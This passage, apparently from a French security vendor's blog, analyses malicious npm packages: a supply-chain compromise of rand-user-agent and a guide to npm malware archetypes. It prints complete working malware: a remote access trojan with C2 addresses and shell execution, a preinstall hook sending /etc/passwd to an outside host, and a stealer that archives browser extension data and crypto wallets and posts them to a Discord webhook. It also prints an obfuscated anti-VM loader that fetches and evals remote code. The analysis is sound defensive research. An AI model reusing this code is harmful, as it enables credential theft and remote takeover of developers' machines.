56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7  0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
    ),
  );
  var zlJ = yCZ(siM, fqw);
  zlJ(5164);
  return 8268;
})();

Oui, ça n'a pas l'air d'aller. Il est évident que ce n'est pas censé se trouver à cet endroit.

Comment le code est-il arrivé là ?

Si nous regardons le dépôt GitHub du projet, nous voyons que le dernier commit date de 7 mois, lorsque la version 2.0.82 a été publiée.

Capture d'écran GitHub de Rand-user-agent

Si nous regardons l'historique des versions de npm, nous voyons quelque chose d'étrange. Il y a eu plusieurs versions depuis :

La dernière version, selon GitHub, devrait donc être 2.0.82. Et si nous inspectons les colis depuis lors, nous constatons qu'ils contiennent tous ce code malveillant. Un cas évident d'attaque de la chaîne d'approvisionnement. 

La charge utile malveillante

La charge utile est assez obscurcie, utilisant plusieurs couches d'obscurcissement pour se cacher. Mais voici la charge utile finale que vous finirez par trouver :

global['_H2'] = ''
global['_H3'] = ''
;(async () => {
  const c = global.r || require,
    d = c('os'),
    f = c('path'),
    g = c('fs'),
    h = c('child_process'),
    i = c('crypto'),
    j = f.join(d.homedir(), '.node_modules')
  if (typeof module === 'object') {
    module.paths.push(f.join(j, 'node_modules'))
  } else {
    if (global['_module']) {
      global['_module'].paths.push(f.join(j, 'node_modules'))
    }
  }
  async function k(I, J) {
    return new global.Promise((K, L) => {
      h.exec(I, J, (M, N, O) => {
        if (M) {
          L('Error: ' + M.message)
          return
        }
        if (O) {
          L('Stderr: ' + O)
          return
        }
        K(N)
      })
    })
  }
  function l(I) {
    try {
      return c.resolve(I), true
    } catch (J) {
      return false
    }
  }
  const m = l('axios'),
    n = l('socket.io-client')
  if (!m || !n) {
    try {
      const I = {
        stdio: 'inherit',
        windowsHide: true,
      }
      const J = {
        stdio: 'inherit',
        windowsHide: true,
      }
      if (m) {
        await k('npm --prefix "' + j + '" install socket.io-client', I)
      } else {
        await k('npm --prefix "' + j + '" install axios socket.io-client', J)
      }
    } catch (K) {
      console.log(K)
    }
  }
  const o = c('axios'),
    p = c('form-data'),
    q = c('socket.io-client')
  let r,
    s,
    t = { M: P }
  const u = d.platform().startsWith('win'),
    v = d.type(),
    w = global['_H3'] || 'http://85.239.62[.]36:3306',
    x = global['_H2'] || 'http://85.239.62[.]36:27017'
  function y() {
    return d.hostname() + '$' + d.userInfo().username
  }
  function z() {
    const L = i.randomBytes(16)
    L[6] = (L[6] & 15) | 64
    L[8] = (L[8] & 63) | 128
    const M = L.toString('hex')
    return (
      M.substring(0, 8) +
      '-' +
      M.substring(8, 12) +
      '-' +
      M.substring(12, 16) +
      '-' +
      M.substring(16, 20) +
      '-' +
      M.substring(20, 32)
    )
  }
  function A() {
    const L = { reconnectionDelay: 5000 }
    r = q(w, L)
    r.on('connect', () => {
      console.log('Successfully connected to the server')
      const M = y(),
        N = {
          clientUuid: M,
          processId: s,
          osType: v,
        }
      r.emit('identify', 'client', N)
    })
    r.on('disconnect', () => {
      console.log('Disconnected from server')
    })
    r.on('command', F)
    r.on('exit', () => {
      process.exit()
    })
  }
  async function B(L, M, N, O) {
    try {
      const P = new p()
      P.append('client_id', L)
      P.append('path', N)
      M.forEach((R) => {
        const S = f.basename(R)
        P.append(S, g.createReadStream(R))
      })
      const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
      Q.status === 200
        ? r.emit(
            'response',
            'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
            O
          )
        : r.emit(
            'response',
            'Failed to upload file. Status code: ' + Q.status + '\n',
            O
          )
    } catch (R) {
      r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
    }
  }
  async function C(L, M, N, O) {
    try {
      let P = 0,
        Q = 0
      const R = D(M)
      for (const S of R) {
        if (t[O].stopKey) {
          r.emit(
            'response',
            'HTTP upload stopped: ' +
              P +
              ' files succeeded, ' +
              Q +
              ' files failed\n',
            O
          )
          return
        }
        const T = f.relative(M, S),
          U = f.join(N, f.dirname(T))
        try {
          await B(L, [S], U, O)
          P++
        } catch (V) {
          Q++
        }
      }
      r.emit(
        'response',
        'HTTP upload succeeded: ' +
          P +
          ' files succeeded, ' +
          Q +
          ' files failed\n',
        O
      )
    } catch (W) {
      r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
    }
  }
  function D(L) {
    let M = []
    const N = g.readdirSync(L)
    return (
      N.forEach((O) => {
        const P = f.join(L, O),
          Q = g.statSync(P)
        Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
      }),
      M
    )
  }
  function E(L) {
    const M = L.split(':')
    if (M.length < 2) {
      const R = {}
      return (
        (R.valid = false),
        (R.message = 'Command is missing ":" separator or parameters'),
        R
      )
    }
    const N = M[1].split(',')
    if (N.length < 2) {
      const S = {}
      return (
        (S.valid = false), (S.message = 'Filename or destination is missing'), S
      )
    }
    const O = N[0].trim(),
      P = N[1].trim()
    if (!O || !P) {
      const T = {}
      return (
        (T.valid = false), (T.message = 'Filename or destination is empty'), T
      )
    }
    const Q = {}
    return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
  }
  function F(L, M) {
    if (!M) {
      const O = {}
      return (
        (O.valid = false),
        (O.message = 'User UUID not provided in the command.'),
        O
      )
    }
    if (!t[M]) {
      const P = {
        currentDirectory: __dirname,
        commandQueue: [],
        stopKey: false,
      }
    }
    const N = t[M]
    N.commandQueue.push(L)
    G(M)
  }
  async function G(L) {
    let M = t[L]
    while (M.commandQueue.length > 0) {
      const N = M.commandQueue.shift()
      let O = ''
      if (N.startsWith('cd')) {
        const P = N.slice(2).trim()
        try {
          process.chdir(M.currentDirectory)
          process.chdir(P || '.')
          M.currentDirectory = process.cwd()
        } catch (Q) {
          O = 'Error: ' + Q.message
        }
      } else {
        if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
          const R = E(N)
          if (!R.valid) {
            O = 'Invalid command format: ' + R.message + '\n'
            r.emit('response', O, L)
            continue
          }
          const { filename: S, destination: T } = R
          M.stopKey = false
          O = ' >> starting upload\n'
          if (N.startsWith('ss_upf')) {
            B(y(), [f.join(process.cwd(), S)], T, L)
          } else {
            N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
          }
        } else {
          if (N.startsWith('ss_dir')) {
            process.chdir(__dirname)
            M.currentDirectory = process.cwd()
          } else {
            if (N.startsWith('ss_fcd')) {
              const U = N.split(':')
              if (U.length < 2) {
                O = 'Command is missing ":" separator or parameters'
              } else {
                const V = U[1]
                process.chdir(V)
                M.currentDirectory = process.cwd()
              }
            } else {
              if (N.startsWith('ss_stop')) {
                M.stopKey = true
              } else {
                try {
                  const W = {
                    cwd: M.currentDirectory,
                    windowsHide: true,
                  }
                  const X = W
                  if (u) {
                    try {
                      const Y = f.join(
                          process.env.LOCALAPPDATA ||
                            f.join(d.homedir(), 'AppData', 'Local'),
                          'Programs\\Python\\Python3127'
                        ),
                        Z = { ...process.env }
                      Z.PATH = Y + ';' + process.env.PATH
                      X.env = Z
                    } catch (a0) {}
                  }
                  h.exec(N, X, (a1, a2, a3) => {
                    let a4 = '\n'
                    a1 && (a4 += 'Error executing command: ' + a1.message)
                    a3 && (a4 += 'Stderr: ' + a3)
                    a4 += a2
                    a4 += M.currentDirectory + '> '
                    r.emit('response', a4, L)
                  })
                } catch (a1) {
                  O = 'Error executing command: ' + a1.message
                }
              }
            }
          }
        }
      }
      O += M.currentDirectory + '> '
      r.emit('response', O, L)
    }
  }
  function H() {
    s = z()
    A(s)
  }
  H()
})()

Nous sommes en présence d'un RAT (Remote Access Trojan). En voici un aperçu :

Aperçu du comportement

Le script met en place un canal de communication secret avec un commande et contrôle (C2) serveur utilisant socket.io-clienttout en exfiltrant des fichiers via axios vers un second point d'arrivée HTTP. Il installe dynamiquement ces modules s'ils sont manquants, en les cachant dans un fichier .node_modules dans le répertoire personnel de l'utilisateur.

 Infrastructure C2

  • Communication par sockets: http://85.239.62[.]36:3306‍
  • Point final de téléchargement de fichiers: http://85.239.62[.]36:27017/u/f

Une fois connecté, le client envoie au serveur son identifiant unique (nom d'hôte + nom d'utilisateur), son type de système d'exploitation et son identifiant de processus.

Capacités

Voici une liste des capacités (commandes) prises en charge par le RAT.

| Command         | Purpose                                                       |
| --------------- | ------------------------------------------------------------- |
| cd              | Change current working directory                              |
| ss_dir          | Reset directory to script’s path                              |
| ss_fcd:<path>   | Force change directory to <path>                              |
| ss_upf:f,d      | Upload single file f to destination d                         |
| ss_upd:d,dest   | Upload all files under directory d to destination dest        |
| ss_stop         | Sets a stop flag to interrupt current upload process          |
| Any other input | Treated as a shell command, executed via child_process.exec() |

Backdoor : Python3127 PATH Hijack (détournement de PATH)

L'une des caractéristiques les plus subtiles de ce RAT est son utilisation d'un détournement de PATH spécifique à Windows, visant à exécuter discrètement des binaires malveillants sous l'apparence d'outils Python.

Le script construit et ajoute le chemin d'accès suivant au fichier PATH variable d'environnement avant d'exécuter les commandes de l'interpréteur de commandes:

%LOCALAPPDATA%\Programmes\Python\Python3127

En injectant ce répertoire au début de PATHtoute commande reposant sur des exécutables résolus en fonction de l'environnement (par ex, python, pip, etc.) peuvent être silencieusement détournés. Cela est particulièrement efficace sur les systèmes où l'on s'attend déjà à ce que Python soit disponible.

const Y = path.join(
  process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
  'Programs\NPython\NPython3127'
)
env.PATH = Y + ';' + process.env.PATH

‍

Indicateurs de compromis

À l'heure actuelle, les seuls indicateurs dont nous disposons sont les versions malveillantes, qui sont les suivantes :

  • 2.0.84
  • 1.0.110
  • 2.0.83
| Utilisation | Point de terminaison | Protocole/Méthode
| ------------------ | ------------------------------- | -------------------------- |
| Connexion socket | http://85.239.62[.]36:3306 | socket.io-client |
 | Cible de téléchargement de fichier | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |

Si vous avez installé l'un de ces paquets, vous pouvez vérifier s'il a communiqué avec le C2

‍

‍

6 mai 2025
Le guide de rencontre des logiciels malveillants : Comprendre les types de logiciels malveillants sur NPM
Par
Charlie Eriksen
Charlie Eriksen

Le guide de rencontre des logiciels malveillants : Comprendre les types de logiciels malveillants sur NPM

Le Nœud L'écosystème de l'UE repose sur la confiance - la confiance dans le fait que les paquets de données que vous utilisez ne sont pas des paquets de données. npm install font ce qu'ils disent faire. Mais cette confiance est souvent mal placée.

Au cours de l'année écoulée, nous avons observé une tendance inquiétante : un nombre croissant de paquets malveillants publiés sur npm, souvent cachés à la vue de tous. Certains sont des preuves de concept rudimentaires réalisées par des chercheurs, d'autres sont des portes dérobées soigneusement conçues. Certains prétendent être des bibliothèques légitimes, d'autres exfiltrent des données sous votre nez en utilisant l'obscurcissement ou des astuces de formatage.

Cet article décompose plusieurs paquets malveillants réels que nous avons analysés. Chacun représente un archétype distinct de technique d'attaque que nous voyons dans la nature. Que vous soyez développeur, membre d'une équipe d'intervention ou ingénieur en sécurité, ces modèles devraient être dans votre ligne de mire.

Le PoC

La plupart des paquets que nous voyons proviennent de chercheurs en sécurité qui n'essaient pas vraiment d'être furtifs. Ils cherchent simplement à prouver quelque chose, souvent dans le cadre d'une chasse aux bogues. Cela signifie que leurs paquets sont généralement très simples, ne contenant souvent aucun code. Ils s'appuient uniquement sur un "crochet de cycle de vie" que les paquets peuvent utiliser, qu'il s'agisse de pré-installation, d'installation ou de post-installation. Ces crochets sont de simples commandes exécutées par le gestionnaire de paquets lors de l'installation.

Exemple : local_editor_top

Voici un exemple de paquet local_editor_topqui est un paquet que nous avons détecté en raison de son crochet de préinstallation qui affiche le fichier /etc/passwd à un point de terminaison de Burp Suite Collaborator avec le nom d'hôte en préfixe.

{
  "name": "local_editor_top",
  "version": "10.7.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
  },
  "author": "",
  "license": "ISC"
}

Exemple : ccf-identité

Certains chercheurs vont plus loin et appellent un fichier dans le paquet ccf-identité pour extraire des données. Par exemple, nous avons détecté le paquet, nous avons observé un crochet de cycle de vie, et un fichier javascript avec beaucoup d'indicateurs de l'environnement d'exfiltration :

{
  "name": "ccf-identity",
  "version": "2.0.2",
  "main": "index.js",
  "typings": "dist/index",
  "license": "MIT",
  "author": "Microsoft",
  "type": "module",
  "repository": {
    "type": "git",
    "url": "https://github.com/Azure/ccf-identity"
  },
  "scripts": {
    "preinstall": "node index.js",
    ...
  },
  "devDependencies": {
    ...
  },
  "dependencies": {
    "@microsoft/ccf-app": "5.0.13",
    ...
  }
}

Comme vous pouvez le voir, il appellera le fichier index.js avant que le processus d'installation du paquet ne commence. Vous trouverez ci-dessous le contenu du fichier.

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Ces preuves de concept permettent de collecter un grand nombre d'informations, y compris souvent des informations sur les adaptateurs de réseau !

L'imposteur

Si vous avez été attentif, vous avez peut-être remarqué que l'exemple précédent semblait indiquer qu'il s'agissait d'un paquet Microsoft. L'avez-vous remarqué ? Ne vous inquiétez pas, il ne s'agit pas d'un paquet de Microsoft ! Il s'agit plutôt d'un exemple de notre deuxième archétype : L'imposteur. 

Un bon exemple en est le paquet demandes-promesses. Voyons ce qu'il en est package.json fichier :

{
  "name": "requests-promises",
  "version": "4.2.1",
  "description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
  "keywords": [
    ...
  ],
  "main": "./lib/rp.js",
  "scripts": {
   ...
    "postinstall": "node lib/rq.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/request/request-promise.git"
  },
  "author": "Nicolai Kamenzky (https://github.com/analog-nico)",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/request/request-promise/issues"
  },
  "homepage": "https://github.com/request/request-promise#readme",
  "engines": {
    "node": ">=0.10.0"
  },
  "dependencies": {
    "request-promise-core": "1.1.4",
    "bluebird": "^3.5.0",
    "stealthy-require": "^1.1.1",
    "tough-cookie": "^2.3.3"
  },
  "peerDependencies": {
    "request": "^2.34"
  },
  "devDependencies": {
    ...
  }
}

Vous remarquerez quelque chose d'intéressant. Au premier abord, il s'agit d'un vrai paquet, mais deux indices importants montrent que quelque chose ne va pas :

  • Les références Github mentionnent demande-promessec'est-à-dire au singulier. Le nom du paquet est au pluriel.
  • Il y a un crochet post-installation pour un fichier appelé lib/rq.js. 

Le paquet semble par ailleurs légitime. Il contient le code attendu du paquet en lib/rp.js (Remarquez la différence entre rp.js et rq.js). Examinons donc ce fichier supplémentaire, lib/rq.js.

const cp = require('child_process');
const {
  exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
  URL
} = require('url');

function createZipFile(source, dest) {
  return new Promise((resolve, reject) => {
    const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
    exec(command, (error, stdout, stderr) => {
      if (error) {
        //console.log(error,stdout,stderr)
        reject(error);
      } else {
        //console.log(error,stdout,stderr)
        resolve(stdout);
      }
    });
  });
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
  try {
    const fileData = fs.readFileSync(filePath);
    const formData = new FormData();
    formData.append('file', new Blob([fileData]), fileName);
    formData.append('content', process.env.USERDOMAIN);
    const response = await fetch(wu, {
      method: 'POST',
      body: formData,
    });
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    //console.log('Running Test(s) +1');
  } catch (error) {
    console.error('Error :', error);
  } finally {
    try {
      cp.execSync('cmd /C del "' + filePath + '"');
    } catch {}
  }
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
  const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
  if (fs.existsSync(dir)) {
    //console.log(dir)
    const nayme = crypto.randomBytes(2).toString('hex')
    const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
    cp.exec(command, (e, so, se) => {
      if (!e) {
        console.log('exo', nayme)
        makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
        //console.log(e,so,se)
      } else {
        //console.log(e,so,se)
      }
    })
  }
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
  const datapath = DataPaths[i];
  if (fs.existsSync(datapath)) {
    const dirs = fs.readdirSync(datapath);
    const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
    profiles.push('Default');
    for (const profile of profiles) {
      if (typeof profile == "string") {
        const dir = datapath + '\\' + profile + '\\' + folderName;
        if (fs.existsSync(dir)) {
          //console.log(dir)
          const nayme = crypto.randomBytes(2).toString('hex')
          const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
          cp.exec(command, (e, so, se) => {
            if (!e) {
              console.log('okok')
              makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
              //console.log(e,so,se)
            } else {
              //console.log(e,so,se)
            }
          })
        }
      }
    }
  }
}

Ne vous laissez pas abuser par le fait que le code comporte une fonction appelée makelove. Il est immédiatement évident que ce code recherchera les caches des navigateurs et les portefeuilles de crypto-monnaie, qu'il enverra au point de terminaison qui est encodé en base64. Une fois décodé, il révèle un webhook Discord.

https ://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP

Pas si aimant que ça, finalement.

L'obscurcisseur

Une astuce classique pour éviter la détection consiste à utiliser l'obscurcissement. La bonne nouvelle pour un défenseur est que l'obscurcissement est vraiment bruyante, se fait remarquer comme un pouce douloureux, et est triviale à surmonter dans la plupart des cas. Un exemple de cette situation est le paquet chickenisgood. En regardant le fichier index.js nous constatons qu'il est clairement obscurci.

var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})

